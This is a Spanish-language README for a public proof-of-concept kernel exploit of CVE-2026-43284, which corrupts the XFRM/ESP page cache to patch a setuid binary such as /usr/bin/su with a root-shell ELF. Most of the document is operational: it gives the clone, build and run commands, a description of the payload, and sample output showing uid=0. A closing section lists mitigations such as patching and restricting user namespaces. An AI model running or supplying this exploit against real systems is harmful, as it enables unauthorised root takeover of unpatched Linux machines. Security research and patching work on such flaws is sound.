
Prueba de concepto para CVE-2026-43284 — primitiva de escritura de 4 bytes en caché de páginas XFRM/ESP para parchear un binario setuid (x86_64, espacios de usuario). Incluye verificación previa del kernel + escaneo SUID.
Prueba de concepto de escalada local de privilegios mediante corrupción de caché de páginas XFRM/ESP
Primitiva de escritura de 4 bytes · 48 iteraciones · Sobrescritura de 192 bytes ELF · usuario no privilegiado + netns
Izquierda: comprobación previa del kernel, escaneo setuid y cadena del exploit ·
Derecha: shell de root generada — id / whoami confirman uid=0(root)
Probado en WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
Aviso: Solo para investigación de seguridad autorizada, educación y pruebas en sistemas que posea o para los que tenga permiso explícito. Los autores no son responsables del mal uso.
| CVE | CVE-2026-43284 |
| Tipo | Escalada local de privilegios (LPE) |
| Vector | Corrupción de caché de páginas XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) |
| Primitiva | 4 bytes por iteración (ESN seq_hi) |
| Payload | ELF x86_64 de 192 bytes (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Objetivo predeterminado | /usr/bin/su |
| Arquitectura | Solo x86_64 |
| Privilegios requeridos | Usuario no privilegiado (utiliza espacios de nombres de usuario y red) |
Funciona incluso cuando algif_aead está en la lista negra: el exploit utiliza directamente la ruta del código XFRM/ESP del kernel.
Comprobaciones previas integradas antes de la explotación:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP/boot/config-*, /lib/modules/*/config, o /proc/config.gz en WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # o =y
Verificación rápida:
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (para forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
O manualmente:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0es intencional — la optimización puede romper el comportamiento sensible a tiempos de splice/UDP.
id
# uid=1000(su_usuario) gid=1000(su_usuario) groups=...
./sley-dirtyfrag # objetivo predeterminado: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # binario setuid personalizado
La herramienta ejecuta tres fases automatizadas:
| Fase | Qué hace |
|---|---|
| 1 | Comprobación previa de la configuración del kernel (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | Escaneo completo del sistema de binarios setuid; resalta el objetivo predeterminado |
| 3 | Respaldar objetivo → parchear caché de páginas (48 escrituras de 4 bytes) → generar shell de root |
Dentro del shell generado:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Presione Ctrl+D o escriba exit. La PoC descarta la caché de páginas para que el binario original en disco se restaure automáticamente.
Si la restauración falla:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| Comando | Descripción |
|---|---|
./sley-dirtyfrag | Explotar /usr/bin/su (predeterminado) |
./sley-dirtyfrag /ruta/a/suid | Explotar un binario setuid personalizado |
make | Compilar sley-dirtyfrag |
make clean | Eliminar el binario |
┌─[ fase 1] comprobación previa de configuración del kernel
→ /proc/config.gz
[+] CONFIG_USER_NS = y (requerido =y)
[+] CONFIG_XFRM = y (requerido =y)
[+] CONFIG_INET_ESP = m (requerido =m or =y)
opciones del kernel OK.
┌─[ fase 2] escaneo de binarios setuid
10 /usr/bin/su ← objetivo
encontrados 14 binarios setuid.
┌─[ fase 3] exploit
[*] unshare userns+netns, registrar 48 SA XFRM, splice→UDP 4500...
[+] corrupt todas las iteraciones hechas
[+] verify parche ELF detectado
╔══════════════════════════════════════╗
║ shell de root — salir para restaurar ║
╚══════════════════════════════════════╝
| Corregido en | f4c50a4034e6 (mainline, 8 de mayo de 2026) |
| Introducido | cac2661c53f3 (enero de 2017) |
Acción: Actualice a un kernel de distribución que incluya la corrección, o compile desde un árbol mainline parcheado.
# verifique su kernel en ejecución
uname -r
# verifique que la corrección está presente (ejemplo — ajuste según el nombre del paquete de su distribución)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
| Medida | Efecto |
|---|---|
| Parchear / actualizar el kernel | Elimina el error subyacente de escritura en la caché de páginas |
| Restringir espacios de nombres de usuario | Bloquea esta PoC (requiere CONFIG_USER_NS) |
| Eliminar binarios setuid innecesarios | Reduce objetivos viables (chmod u-s, o desinstalar) |
| Bloqueo / LSM (SELinux, AppArmor) | Puede limitar el impacto posterior a la explotación según la política |
| Monitorear XFRM + UDP/4500 | Detectar registro anómalo de SA y tráfico ESP-in-UDP desde espacios de nombres no privilegiados |
Este exploit depende de unshare(CLONE_NEWUSER | CLONE_NEWNET) sin root.
# en tiempo de ejecución (puede no existir en todos los kernels)
sysctl kernel.unprivileged_userns_clone=0
# o deshabilitar en tiempo de compilación
# CONFIG_USER_NS no está configurado
Nota: Deshabilitar los espacios de nombres de usuario bloquea esta PoC pero no necesariamente CVE-2026-43500 (variante rxrpc para sistemas sin userns).
find / -perm -4000 -type f 2>/dev/null
# eliminar o endurecer binarios que no necesite